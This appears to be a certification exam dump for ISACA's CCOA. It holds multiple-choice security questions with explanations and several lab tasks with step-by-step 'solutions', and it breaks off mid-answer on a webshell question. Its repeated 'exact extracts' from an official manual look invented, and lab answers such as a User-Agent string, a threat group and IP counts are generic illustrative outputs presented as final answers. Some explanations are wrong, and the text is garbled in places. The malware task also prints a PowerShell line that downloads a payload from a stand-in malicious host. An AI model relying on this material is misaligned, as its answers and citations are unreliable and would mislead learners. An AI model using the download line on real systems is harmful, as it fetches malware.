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Which of the following is a technique for detecting anomalous network behavior that evolves using large data sets and algorithms?
Machine learning-based analysis
Statistical analysis
Rule-based analysis
Signature-based analysis
Machine learning-based analysis is a technique that detectsanomalous network behaviorby:
Learning Patterns:Uses algorithms to understand normal network traffic patterns.
Anomaly Detection:Identifies deviations from established baselines, which may indicate potential threats.
Adaptability:Continuously evolves as new data is introduced, making it more effective at detecting novel attack methods.
Applications:Network intrusion detection systems (NIDS) and behavioral analytics platforms.
Incorrect Options:
B. Statistical analysis:While useful, it does not evolve or adapt as machine learning does.
C. Rule-based analysis:Uses predefined rules, not dynamic learning.
D. Signature-based analysis:Detects known patterns rather than learning new ones.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 8, Section "Advanced Threat Detection," Subsection "Machine Learning for Anomaly Detection" - Machine learning methods are effective for identifying evolving network anomalies.
Which of the following is the BEST way for an organization to balance cybersecurity risks and address compliance requirements?
Accept that compliance requirements may conflict with business needs and operate in a diminished capacity to achieve compliance.
Meet the minimum standards for the compliance requirements to ensure minimal impact to business operations,
Evaluate compliance requirements in thecontext at business objectives to ensure requirements can be implemented appropriately.
Implement only the compliance requirements that do not Impede business functions or affect cybersecurity risk.
Balancingcybersecurity riskswithcompliance requirementsrequires a strategic approach that aligns security practices with business goals. The best way to achieve this is to:
Contextual Evaluation:Assess compliance requirements in relation to the organization's operational needs and objectives.
Risk-Based Approach:Instead of blindly following standards, integrate them within the existing risk management framework.
Custom Implementation:Tailor compliance controls to ensure they do not hinder critical business functions while maintaining security.
Stakeholder Involvement:Engage business units to understand how compliance can be integrated smoothly.
Other options analysis:
A. Accept compliance conflicts:This is a defeatist approach and does not resolve the underlying issue.
B. Meet minimum standards:This might leave gaps in security and does not foster a comprehensive risk-based approach.
D. Implement only non-impeding requirements:Selectively implementing compliance controls can lead to critical vulnerabilities.
CCOA Official Review Manual, 1st Edition References:
Chapter 2: Governance and Risk Management:Discusses aligning compliance with business objectives.
Chapter 5: Risk Management Strategies:Emphasizes a balanced approach to security and compliance.
A cybersecurity analyst has been asked to review firewall configurations andrecommend which ports to deny in order to prevent users from making outbound non-encrypted connections to the Internet. The organization is concerned that traffic through this type of port is insecure and may be used asanattack vector. Which port should the analyst recommend be denied?
Port 3389
Port 25
Port 443
Port 80
Toprevent users from making outbound non-encrypted connectionsto the internet, it is essential toblock Port 80, which is used forunencrypted HTTP traffic.
Security Risk:HTTP transmits data in plaintext, making it vulnerable to interception and eavesdropping.
Preferred Alternative:UsePort 443(HTTPS), which encrypts data via TLS.
Mitigation:Blocking Port 80 ensures that users must use secure, encrypted connections.
Attack Vector:Unencrypted HTTP traffic can be intercepted usingman-in-the-middle (MitM)attacks.
Incorrect Options:
A. Port 3389:Used by RDP for remote desktop connections.
B. Port 25:Used by SMTP for sending email, which can be encrypted using SMTPS on port 465.
C. Port 443:Used for encrypted HTTPS traffic, which should not be blocked.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Network Security and Port Management," Subsection"Securing Outbound Connections" - Blocking Port 80 is crucial to enforce encrypted communications.
Which of the following is MOST likely to result from a poorly enforced bring your own device (8YOD) policy?
Weak passwords
Network congestion
Shadow IT
Unapproved social media posts
A poorly enforcedBring Your Own Device (BYOD)policy can lead to the rise ofShadow IT, where employees use unauthorized devices, software, or cloud services without IT department approval. This often occurs because:
Lack of Policy Clarity:Employees may not be aware of which devices or applications are approved.
Absence of Monitoring:If the organization does not track personal device usage, employees may introduce unvetted apps or tools.
Security Gaps:Personal devices may not meet corporate security standards, leading to data leaks and vulnerabilities.
Data Governance Issues:IT departments lose control over data accessed or stored on unauthorized devices, increasing the risk of data loss or exposure.
Other options analysis:
A. Weak passwords:While BYOD policies might influence password practices, weak passwords are not directly caused by poor BYOD enforcement.
B. Network congestion:Increased device usage might cause congestion, but this is more of a performance issue than a security risk.
D. Unapproved social media posts:While possible, this issue is less directly related to poor BYOD policy enforcement.
CCOA Official Review Manual, 1st Edition References:
Chapter 3: Asset and Device Management:Discusses risks associated with poorly managed BYOD policies.
Chapter 7: Threat Monitoring and Detection:Highlights how Shadow IT can hinder threat detection.
Which of the following should be considered FIRST when defining an application security risk metric for an organization?
Critically of application data
Identification of application dependencies
Creation of risk reporting templates
Alignment with the system development life cycle (SDLC)
When defining anapplication security risk metric, the first consideration should be thecriticality of application data:
Data Sensitivity:Determines the potential impact if the data is compromised.
Risk Prioritization:Applications handling sensitive or critical data require stricter security measures.
Business Impact:Understanding data criticality helps in assigning risk scores and prioritizing mitigation efforts.
Compliance Requirements:Applications with sensitive data may be subject to regulations (like GDPR or HIPAA).
Incorrect Options:
B. Identification of application dependencies:Important but secondary to understanding data criticality.
C. Creation of risk reporting templates:Follows after identifying criticality and risks.
D. Alignment with SDLC:Ensures integration of security practices but not the first consideration for risk metrics.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Risk Assessment in Application Security," Subsection "Identifying Critical Data" - Prioritizing application data criticality is essential for effective risk management.
Which of the following security practices is MOST effective in reducing system risk through system hardening?
Having more than one user to complete a task
Permitting only the required access
Giving users only the permissions they need
Enabling only the required capabilities
System hardening involvesdisabling unnecessary features and enabling only required capabilitiesto reduce the attack surface:
Minimizing Attack Vectors:Reduces potential entry points by disabling unused services and ports.
Configuration Management:Ensures only essential features are active, reducing system complexity.
Best Practice:Hardening is part of secure system configuration management to mitigate vulnerabilities.
Incorrect Options:
A. Multiple users completing a task:More related to separation of duties, not hardening.
B. Permitting only required access:Relevant for access control but not directly for system hardening.
C. Giving users only necessary permissions:Reduces privilege risks but does not reduce the system attack surface.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "System Hardening Techniques," Subsection "Minimal Configuration" - Hardening involves enabling only necessary system functions to reduce risks.
Which type of cloud deployment model is intended to be leveraged over the Internet by many organizations with varying needs and requirements?
Hybrid cloud
Community cloud
Public cloud
Private cloud
Apublic cloudis intended to be accessible over theInternetby multiple organizations with varying needs and requirements:
Multi-Tenancy:The same infrastructure serves numerous clients.
Accessibility:Users can access resources from anywhere via the Internet.
Scalability:Provides flexible and on-demand resource allocation.
Common Providers:AWS, Azure, and Google Cloud offer public cloud services.
Incorrect Options:
A. Hybrid cloud:Combines private and public cloud, not primarily public.
B. Community cloud:Shared by organizations with common concerns, not broadly public.
D. Private cloud:Exclusive to a single organization, not accessible by many.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 3, Section "Cloud Deployment Models," Subsection "Public Cloud Characteristics" - Public clouds are designed for use by multiple organizations via the Internet.
Which of the following is the PRIMARY risk associated with cybercriminals eavesdropping on unencrypted network traffic?
Data notification
Data exfiltration
Data exposure
Data deletion
Theprimary riskassociated with cybercriminalseavesdropping on unencrypted network trafficisdata exposurebecause:
Interception of Sensitive Data:Unencrypted traffic can be easily captured using tools likeWiresharkortcpdump.
Loss of Confidentiality:Attackers can viewclear-text data, includingpasswords, personal information, or financial details.
Common Attack Techniques:Includespacket sniffingandMan-in-the-Middle (MitM)attacks.
Mitigation:Encrypt data in transit using protocols likeHTTPS, SSL/TLS, or VPNs.
Other options analysis:
A. Data notification:Not relevant in the context of eavesdropping.
B. Data exfiltration:Usually involves transferring data out of the network, not just observing it.
D. Data deletion:Unrelated to passive eavesdropping.
CCOA Official Review Manual, 1st Edition References:
Chapter 4: Network Security Operations:Highlights the risks of unencrypted traffic.
Chapter 8: Threat Detection and Monitoring:Discusses eavesdropping techniques and mitigation.
Target discovery and service enumeration would MOST likely be used by an attacker who has the initial objective of:
corrupting process memory, likely resulting in system Instability.
port scanning to identify potential attack vectors.
deploying and maintaining backdoor system access.
gaining privileged access in a complex network environment.
Target discovery and service enumerationare fundamental steps in thereconnaissance phaseof an attack. An attacker typically:
Discovers Hosts and Services:Identifies active devices and open ports on a network.
Enumerates Services:Determines which services are running on open ports to understand possible entry points.
Identify Attack Vectors:Once services are mapped, attackers look for vulnerabilities specific to those services.
Tools:Attackers commonly use tools likeNmaporMasscanfor port scanning and enumeration.
Other options analysis:
A. Corrupting process memory:Typically associated with exploitation rather than reconnaissance.
C. Deploying backdoors:This occurs after gaining access, not during the initial discovery phase.
D. Gaining privileged access:Typically follows successful exploitation, not discovery.
CCOA Official Review Manual, 1st Edition References:
Chapter 6: Threat Hunting and Reconnaissance:Covers methods used for identifying attack surfaces.
Chapter 8: Network Scanning Techniques:Details how attackers use scanning tools to identify open ports and services.
How can port security protect systems on a segmented network?
By enforcing encryption of data on the network
By preventing unauthorized access to the network
By establishing a Transport Layer Security (TLS) handshake
By requiring multi-factor authentication
Port security is a network control technique used primarily toprevent unauthorized accessto a network by:
MAC Address Filtering:Restricts which devices can connect by allowing only known MAC addresses.
Port Lockdown:Disables a port if an untrusted device attempts to connect.
Mitigating MAC Flooding:Helps prevent attackers from overwhelming the switch with spoofed MAC addresses.
Incorrect Options:
A. Enforcing encryption:Port security does not directly handle encryption.
C. Establishing TLS handshake:TLS is related to secure communications, not port-level access control.
D. Requiring multi-factor authentication:Port security works at the network level, not the authentication level.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Network Security," Subsection "Port Security" - Port security helps protect network segments by controlling device connections based on MAC address.
During a post-mortem incident review meeting, it is noted that a malicious attacker attempted to achieve network persistence by using vulnerabilities that appeared to be lower risk but ultimately allowed the attacker to escalate their privileges. Which ofthe following did the attacker MOST likely apply?
Exploit chaining
Brute force attack
Cross-site scripting
Deployment of rogue wireless access points
Exploit chaininginvolves combining multiple lower-severity vulnerabilities toescalate privileges or gain persistencein a network. The attacker:
Combines Multiple Exploits:Uses interconnected vulnerabilities that, individually, seem low-risk but together form a critical threat.
Privilege Escalation:Gains elevated access by chaining exploits, often bypassing security measures.
Persistence Mechanism:Once privilege is gained, attackers establish long-term control.
Advanced Attacks:Typically seen in advanced persistent threats (APTs) where the attacker meticulously combines weaknesses.
Other options analysis:
B. Brute force attack:Involves password guessing, not chaining vulnerabilities.
C. Cross-site scripting:Focuses on injecting malicious scripts, unrelated to privilege escalation.
D. Rogue wireless access points:Involves unauthorized devices, not exploit chaining.
CCOA Official Review Manual, 1st Edition References:
Chapter 6: Attack Techniques and Vectors:Describes exploit chaining and its strategic use.
Chapter 9: Incident Analysis:Discusses how attackers combine low-risk vulnerabilities for major impact.
Robust background checks provide protection against:
distributed dental of service (DDoS) attacks.
insider threats.
phishing.
ransomware.
Robust background checks help mitigateinsider threatsby ensuring that individuals withaccess to sensitive data or critical systemsdo not have a history of risky or malicious behavior.
Screening:Identifies red flags like past criminal activity or suspicious financial behavior.
Trustworthiness Assessment:Ensures that employees handling sensitive information have a proven history of integrity.
Insider Threat Mitigation:Helps reduce the risk of data theft, sabotage, or unauthorized access.
Periodic Rechecks:Maintain ongoing security by regularly updating background checks.
Incorrect Options:
A. DDoS attacks:Typically external; background checks do not mitigate these.
C. Phishing:An external social engineering attack, unrelated to employee background.
D. Ransomware:Generally spread via malicious emails or compromised systems, not insider actions.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Insider Threat Management," Subsection "Pre-Employment Screening" - Background checks are vital in identifying potential insider threats before hiring.
An attacker has compromised a number of systems on an organization'snetwork andisexfiltrationdata Usingthe Domain Name System (DNS) queries. Whichof the following is the BEST mitigation strategy to prevent data exfiltration using this technique?
mitigation strategy to prevent data exfiltration using this technique?
Implement Secure Sockets Layer (SSL) encryption on the DNS server.
Install a host-based Intrusion detection system (HIDS) on all systems in the network.
Block all outbound DNS traffic from the network.
Implement a DNS sinkhole to redirect alt DNS traffic to a dedicated server.
ADNS sinkholeis a network security mechanism thatintercepts DNS queriesand redirects them to a controlled server.
Functionality:Instead of allowing the exfiltration traffic to reach its intended destination, the sinkhole captures and analyzes the data.
Detection and Prevention:Identifies and mitigates DNS-based data exfiltration attempts.
Monitoring:Enables security teams to detect compromised systems attempting to exfiltrate data.
Incorrect Options:
A. Implement SSL encryption on DNS server:Does not address data exfiltration through DNS queries.
B. Host-based IDS (HIDS):Detects anomalies but cannot block DNS-based exfiltration.
C. Block all outbound DNS traffic:Impractical as DNS is essential for network communication.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 8, Section "DNS Exfiltration Techniques," Subsection "Mitigation Strategies" - DNS sinkholes are effective for capturing and analyzing malicious DNS queries.
After identified weaknesses have been remediated, which of the following should be completed NEXT?
Perform a validation scan before moving to production.
Perform software code testing.
Perform a software quality assurance (QA) activity.
Move the fixed system directly to production.
After remediation of identified weaknesses, thenext step is to perform a validation scanto ensure that the fixes were successful and no new vulnerabilities were introduced.
Purpose:Confirm that vulnerabilities have been properly addressed.
Verification:Uses automated tools or manual testing to recheck the patched systems.
Risk Management:Prevents reintroducing vulnerabilities into the production environment.
Incorrect Options:
B. Software code testing:Typically performed during development, not after remediation.
C. Software quality assurance (QA) activity:Focuses on functionality, not security validation.
D. Moving directly to production:Risks deploying unvalidated fixes.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Post-Remediation Activities," Subsection "Validation Scans" - Validating fixes ensures security before moving to production.
Which ofthe following BEST enables a cybersecurity analyst to influence the acceptance of effective security controls across an organization?
Contingency planning expertise
Knowledge of cybersecurity standards
Communication skills
Critical thinking
To effectivelyinfluence the acceptance of security controls, a cybersecurity analyst needs strongcommunication skills:
Persuasion:Clearly conveying the importance of security measures to stakeholders.
Stakeholder Engagement:Building consensus by explaining technical concepts in understandable terms.
Education and Awareness:Encouraging best practices through effective communication.
Bridging Gaps:Aligning security objectives with business goals through collaborative discussions.
Incorrect Options:
A. Contingency planning expertise:Important but less relevant to influencing acceptance.
B. Knowledge of cybersecurity standards:Essential but not enough to drive acceptance.
D. Critical thinking:Helps analyze risks but does not directly aid in influencing organizational buy-in.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Influencing Security Culture," Subsection "Communication Strategies" - Effective communication is crucial for gaining organizational support for security initiatives.
An attacker has exploited an e-commerce website by injecting arbitrary syntax that was passed to and executed by the underlying operating system. Which of the following tactics did the attacker MOST likely use?
Command injection
Injection
Lightweight Directory Access Protocol (LDAP) Injection
Insecure direct object reference
The attack described involvesinjecting arbitrary syntaxthat isexecuted by the underlying operating system, characteristic of aCommand Injectionattack.
Nature of Command Injection:
Direct OS Interaction:Attackers input commands that are executed by the server’s OS.
Vulnerability Vector:Often occurs when user input is passed to system calls without proper validation or sanitization.
Examples:Using characters like ;, &&, or | to append commands.
Common Scenario:Exploiting poorly validated web application inputs that interact with system commands (e.g., ping, dir).
Other options analysis:
B. Injection:Targets databases, not the underlying OS.
C. LDAP Injection:Targets LDAP directories, not the OS.
D. Insecure direct object reference:Involves unauthorized access to objects through predictable URLs, not OS command execution.
CCOA Official Review Manual, 1st Edition References:
Chapter 8: Web Application Attacks:Covers command injection and its differences from i.
Chapter 9: Input Validation Techniques:Discusses methods to prevent command injection.
Which of the following Is a control message associated with the Internet Control Message Protocol (ICMP)?
Transport Layer Security (TLS) protocol version Is unsupported.
Destination is unreachable.
404 is not found.
Webserver Is available.
TheInternet Control Message Protocol (ICMP)is used forerror reporting and diagnosticsin IP networks.
Control Messages:ICMP messages inform the sender about network issues, such as:
Destination Unreachable:Indicates that the packet could not reach the intended destination.
Echo Request/Reply:Used inpingto test connectivity.
Time Exceeded:Indicates that a packet'sTTL (Time to Live)has expired.
Common Usage:Troubleshooting network issues (e.g.,pingandtraceroute).
Other options analysis:
A. TLS protocol version unsupported:Related to SSL/TLS, not ICMP.
C. 404 not found:An HTTP status code, unrelated to ICMP.
D. Webserver is available:A general statement, not an ICMP message.
CCOA Official Review Manual, 1st Edition References:
Chapter 4: Network Protocols and ICMP:Discusses ICMP control messages.
Chapter 7: Network Troubleshooting Techniques:Explains ICMP’s role in diagnostics.
Which of the following is the MOST effective way to obtain business owner approval of cybersecurity initiatives across an organisation?
Provide data classifications.
Create a steering committee.
Generate progress reports.
Conduct an Internal audit.
Themost effective way to obtain business owner approvalfor cybersecurity initiatives is tocreate a steering committeethat includes key stakeholders from different departments. This approach works because:
Inclusive Decision-Making:Involving business owners in a structured committee fosters collaboration and buy-in.
Alignment with Business Goals:A steering committee ensures that cybersecurity initiatives align with the organization's strategic objectives.
Regular Communication:Provides a formal platform to present cybersecurity challenges, proposed solutions, and progress updates.
Informed Decisions:Business owners are more likely to support initiatives when they understand the risks and benefits.
Consensus Building:A committee fosters a sense of ownership and shared responsibility for cybersecurity.
Other options analysis:
A. Provide data classifications:While useful for identifying data sensitivity, this alone does not directly gain approval.
C. Generate progress reports:These are informative but lack the strategic collaboration needed for decision-making.
D. Conduct an Internal audit:Helps assess current security posture but does not engage business owners proactively.
CCOA Official Review Manual, 1st Edition References:
Chapter 2: Governance and Management:Discusses forming committees for cross-functional decision-making.
Chapter 5: Risk Management Strategies:Emphasizes stakeholder engagement through structured groups.
Which of the following BEST describes privilege escalation in the context of kernel security?
A process by which an attacker gains unauthorized access to user data
A security vulnerability in the operating system that triggers buffer overflows
A type of code to inject malware into the kernel
A technique used by attackers to bypass kernel-level security controls
Privilege escalationin the context of kernel security refers to:
Kernel Exploits:Attackers exploit vulnerabilities in the kernel to gainelevated privileges.
Root Access:A successful attack often results in root or system-level access.
Bypassing Security:Kernel-level exploitation bypasses user-mode security controls, leading to complete system compromise.
Common Methods:Exploiting buffer overflows, kernel vulnerabilities, or using rootkits.
Incorrect Options:
A. Unauthorized access to user data:More related to data leakage, not privilege escalation.
B. Buffer overflow vulnerabilities:A method of exploitation, not the result itself.
C. Injecting malware:An attack vector, but not specifically privilege escalation.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Kernel Security," Subsection "Privilege Escalation Techniques" - Attackers exploit kernel vulnerabilities to gain unauthorized elevated access.
Which of the following is MOST helpful to significantly reduce application risk throughout the system development life cycle (SOLC)?
Security by design approach
Security through obscurity approach
Peer code reviews
Extensive penetration testing
ImplementingSecurity by Designthroughout theSoftware Development Life Cycle (SDLC)is the most effective way toreduce application riskbecause:
Proactive Risk Mitigation:Incorporates security practices from the very beginning, rather than addressing issues post-deployment.
Integrated Testing:Security requirements and testing are embedded in each phase of the SDLC.
Secure Coding Practices:Reduces vulnerabilities likeinjection, XSS, and insecure deserialization.
Cost Efficiency:Fixing issues during design is significantly cheaper than patching after production.
Other options analysis:
B. Security through obscurity:Ineffective as a standalone approach.
C. Peer code reviews:Valuable but limited if security is not considered from the start.
D. Extensive penetration testing:Detects vulnerabilities post-development, but cannot fix flawed architecture.
CCOA Official Review Manual, 1st Edition References:
Chapter 10: Secure Software Development Practices:Discusses the importance of integrating security from the design phase.
Chapter 7: Application Security Testing:Highlights proactive security in development.
Which of the following is the MOST effective way to prevent man-in-the-middle attacks?
Changing passwords regularly
Implementing firewalls on the network
Implementing end-to-end encryption
Enabling two-factor authentication
The most effective way to preventman-in-the-middle (MitM) attacksis by implementingend-to-end encryption:
Encryption Mechanism:Ensures that data is encrypted on the sender’s side and decrypted only by the intended recipient.
Protection Against Interception:Even if attackers intercept the data, it remains unreadable without the decryption key.
TLS/SSL Usage:Commonly used in HTTPS to secure data during transmission.
Mitigation:Prevents attackers from viewing or altering data even if they can intercept network traffic.
Incorrect Options:
A. Changing passwords regularly:Important for account security but not directly preventing MitM.
B. Implementing firewalls:Protects against unauthorized access but not interception of data in transit.
D. Enabling two-factor authentication:Enhances account security but does not secure data during transmission.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Network Security Measures," Subsection "Mitigating Man-in-the-Middle Attacks" - End-to-end encryption is the primary method to secure communication against interception.
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the full User-Agent value associated with theransomware demand file download. Enter your responsein the field below.
See the solution in Explanation.
To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
Log into the Analyst Desktop.
Navigate to theInvestigationsfolder located on the desktop.
Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWireshark.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
ClickOpento load the file.
Step 3: Filter HTTP Traffic
Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:
http.request or http.response
This filter will show bothHTTP GETandPOSTrequests.
Step 4: Locate the Ransomware Demand File Download
Look for HTTPGETrequests that include common ransomware filenames such as:
README.txt
DECRYPT_INSTRUCTIONS.html
HELP_DECRYPT.txt
Right-click on the suspicious HTTP packet and select:
arduino
Follow > HTTP Stream
Analyze theHTTP headersto find theUser-Agent.
Example HTTP Request:
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Step 5: Verify the User-Agent
Check multiple streams to ensure consistency.
Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.
Answer:
swift
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Step 6: Document and Report
Record the User-Agent for analysis:
PCAP Filename:ransom.pcap
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Related File:README.txt
Step 7: Next Steps
Forensic Analysis:
Look for more HTTP requests from the sameUser-Agent.
Monitor Network Activity:
Identify other systems with the same User-Agent pattern.
Block Malicious Traffic:
Update firewall rules to block any outbound connections to suspicious domains.
An employee has been terminated for policy violations.Security logs from win-webserver01 have been collectedand located in the Investigations folder on theDesktop as win-webserver01_logs.zip.
Create a new case in Security Onion from the win-webserver01_logs.zip file. The case title is WindowsWebserver Logs - CCOA New Case and TLP must beset to Green. No additional fields are required.
See the solution in Explanation.
To create a new case inSecurity Onionusing the logs from the win-webserver01_logs.zip file, follow these detailed steps:
Step 1: Access Security Onion
Open a web browser and go to yourSecurity Onionweb interface.
URL: https://
Log in using yourSecurity Onioncredentials.
Step 2: Prepare the Log File
Navigate to theDesktopand open theInvestigationsfolder.
Locate the file:
win-webserver01_logs.zip
Unzip the file to inspect its contents:
unzip ~/Desktop/Investigations/win-webserver01_logs.zip -d ~/Desktop/Investigations/win-webserver01_logs
Ensure that the extracted files, including System-logs.evtx, are accessible.
Step 3: Open the Hunt Interface in Security Onion
On the Security Onion dashboard, go to"Hunt"(or"Cases"depending on the version).
Click on"Cases"to manage incident cases.
Step 4: Create a New Case
Click on"New Case"to start a fresh investigation.
Case Details:
Title:
Windows Webserver Logs - CCOA New Case
TLP (Traffic Light Protocol):
Set toGreen(indicating that the information can be shared freely).
Example Configuration:
Field
Value
Title
Windows Webserver Logs - CCOA New Case
TLP
Green
Summary
(Leave blank if not required)
Click"Save"to create the case.
Step 5: Upload the Log Files
After creating the case, go to the"Files"section of the new case.
Click on"Upload"and select the unzipped log file:
~/Desktop/Investigations/win-webserver01_logs/System-logs.evtx
Once uploaded, the file will be associated with the case.
Step 6: Verify the Case Creation
Go back to theCasesdashboard.
Locate and verify that the case"Windows Webserver Logs - CCOA New Case"exists withTLP: Green.
Check that thelog filehas been successfully uploaded.
Step 7: Document and Report
Document the case details:
Case Title:Windows Webserver Logs - CCOA New Case
TLP:Green
Log File:System-logs.evtx
Include anyinitial observationsfrom the log analysis.
Example Answer:
A new case titled "Windows Webserver Logs - CCOA New Case" with TLP set to Green has been successfully created in Security Onion. The log file System-logs.evtx has been uploaded and linked to the case.
Step 8: Next Steps for Investigation
Analyze the log file:Start hunting for suspicious activities.
Create analysis tasks:Assign team members to investigate specific log entries.
Correlate with other data:Cross-reference with threat intelligence sources.
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
Based on the contents of the malscript.viruz.txt, whichthreat actor group is the malware associated with?
See the solution in Explanation.
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
Log into the Analyst Desktopusing your credentials.
Locate theMalware Samplesfolder on the desktop.
Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
Open the file using a text editor:
OnWindows:Right-click > Open with > Notepad.
OnLinux:
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
Carefully read through the file content to identify:
Anystrings or commentsembedded within the script.
Specifickeywords,URLs, orfile hashes.
Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
Focus on:
Unique Identifiers:Threat group names, malware family names, or specific markers.
Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"
Step 4: Correlate with Threat Intelligence
Use the following resources to correlate any discovered indicators:
MITRE ATT&CK:To map the technique or tool.
VirusTotal:To check file hashes or URLs.
Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))
Step 5: Identify the Threat Actor Group
If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
Include the following details:
Filename:malscript.viruz.txt
Associated Threat Group:TA505
Key Indicators:Domain names, script functions, or specific malware traits.
Generate an incident report summarizing your analysis.
Step 8: Next Steps
Quarantine and Isolate:If the script was executed, isolate the affected system.
Forensic Analysis:Deep dive into system logs for any signs of execution.
Threat Hunting:Search for similar scripts or IOCs in the network.
The enterprise is reviewing its security posture byreviewing unencrypted web traffic in the SIEM.
How many unique IPs have received well knownunencrypted web connections from the beginning of2022 to the end of 2023 (Absolute)?
See the solution in Explanation.
Step 1: Understand the Objective
Objective:
Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:
From: January 1, 2022
To: December 31, 2023
Unencrypted Web Traffic:
Typically usesHTTP(port80) instead ofHTTPS(port443).
Step 2: Prepare the Environment
2.1: Access the SIEM System
Login Details:
URL:https://10.10.55.2
Username:ccoatest@isaca.org
Password:Security-Analyst!
Access via web browser:
firefox https://10.10.55.2
Alternatively, SSH into the SIEM if command-line access is preferred:
ssh administrator@10.10.55.2
Password: Security-Analyst!
Step 3: Locate Web Traffic Logs
3.1: Identify Log Directory
Common log locations:
swift
/var/log/
/var/log/nginx/
/var/log/httpd/
/home/administrator/hids/logs/
Navigate to the log directory:
cd /var/log/
ls -l
Look specifically forweb server logs:
ls -l | grep -E "http|nginx|access"
Step 4: Extract Relevant Log Entries
4.1: Filter Logs for the Given Time Range
Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:
grep -E "2022-|2023-" /var/log/nginx/access.log
If logs are rotated, use:
zgrep -E "2022-|2023-" /var/log/nginx/access.log.*
Explanation:
grep -E: Uses extended regex to match both years.
zgrep: Handles compressed log files.
4.2: Filter for Unencrypted (HTTP) Connections
Since HTTP typically usesport 80, filter those:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"
Alternative:If the logs directly contain theprotocol, search forHTTP:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"
To save results:
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt
Step 5: Extract Unique IP Addresses
5.1: Use AWK to Extract IPs
Extract IP addresses from the filtered results:
awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt
Explanation:
awk '{print $1}': Assumes the IP is thefirst fieldin the log.
sort | uniq: Filters out duplicate IP addresses.
5.2: Count the Unique IPs
To get the number of unique IPs:
wc -l ~/Desktop/unique_ips.txt
Example Output:
345
This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.
Step 6: Cross-Verification and Reporting
6.1: Verification
Double-check the output:
cat ~/Desktop/unique_ips.txt
Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).
Filter out internal IPs if needed:
grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt
wc -l ~/Desktop/external_ips.txt
6.2: Final Count (if excluding internal IPs)
Check the count again:
280
This means280 unique external IPswere identified.
Step 7: Final Answer
Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):
pg
345 (including internal IPs)
280 (external IPs only)
Step 8: Recommendations:
8.1: Improve Security Posture
Enforce HTTPS:
Redirect all HTTP traffic to HTTPS using web server configurations.
Monitor and Analyze Traffic:
Continuously monitor unencrypted connections usingSIEM rules.
Block Unnecessary HTTP Traffic:
If not required, block HTTP traffic at the firewall level.
Upgrade to Secure Protocols:
Ensure all web services support TLS.
The network team has provided a PCAP file withsuspicious activity located in the Investigations folderon the Desktop titled, investigation22.pcap.
What is the filename of the webshell used to control thehost 10.10.44.200? Your response must include the fileextension.
See the solution in Explanation.
To identify thefilename of the webshellused to control the host10.10.44.200from the provided PCAP file, follow these detailed steps:
Step 1: Access the PCAP File
Log into theAnalyst Desktop.
Navigate to theInvestigationsfolder located on the desktop.
Locate the file:
